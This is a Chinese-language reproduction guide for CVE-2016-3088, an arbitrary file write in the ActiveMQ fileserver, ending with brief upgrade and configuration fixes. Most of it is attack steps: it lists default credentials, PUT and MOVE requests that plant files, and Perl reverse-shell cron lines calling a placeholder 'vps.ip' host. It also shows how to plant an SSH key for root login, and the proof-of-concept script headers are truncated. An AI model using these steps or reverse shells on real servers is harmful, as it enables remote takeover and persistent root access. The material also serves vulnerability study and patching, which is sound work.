CVE-2016-3088(ActiveMQ任意文件写入)
1. 漏洞描述
全称:ActiveMQ任意文件写入漏洞
描述:ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录(fileserver是一个RESTful API接口,我们可以通过、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作)。ActiveMQ是一款流行的开源消息服务器。默认情况下,ActiveMQ服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。
2. 默认端口密码
- 默认端口:8161
- 默认密码:admin/admin
3. 利用版本
ActiveMQ < 5.14.0
4. 漏洞复现
4.1 获取绝对路径
1 | http://your-ip:8161/admin/test/systemProperties.jsp |

4.2 发送PUT请求

4.3 构造MOVE请求
1 | MOVE /fileserver/2.txt HTTP/1.1 # 将PUT改成MOVE |

4.4 测试

已经成功写入了。
5. 写入cron和ssh-key
5.1 写入cron自动弹shell
利用条件:ActiveMQ是root运行。因为cron服务是默认启动的,所以这是一个最稳的方法。
Alpine 系统
写入 /etc/cron.d/root
1 | */1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
ubuntu 系统
写入 /var/spool/cron/crontabs/root
1 | */1 * * * * perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
上传cron配置
1 | PUT /fileserver/cron.txt HTTP/1.1 |
将其移动到/etc/cron.d/root
1 | MOVE /fileserver/cron.txt HTTP/1.1 |
5.2 写入SSH-Key
利用条件:docker容器中的环境需要安装sshd服务并且建立
/root/.ssh文件夹,开启ssh-key登陆。
生成密钥对
1 | ssh-keygen -t rsa |
上传公钥
1 | PUT /fileserver/id_rsa.pub HTTP/1.1 |
移动重命名
1 | MOVE /fileserver/id_rsa.pub HTTP/1.1 |
攻击机连接
1 | ssh -i id_rsa root@your-ip |
6. POC&&EXP
POC
1 | #!/usr/bin/env python |
EXP
1 | #!/usr/bin/python |
7. 修复建议
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本
通过移除
conf/jetty.xml的以下配置来禁用 ActiveMQ Fileserver 功能。1
2
3
4
5
6<bean class="org.eclipse.jetty.webapp.WebAppContext">
<property name="contextPath" value="/fileserver" />
<property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
<property name="logUrlOnStart" value="true" />
<property name="parentLoaderPriority" value="true" />
</bean>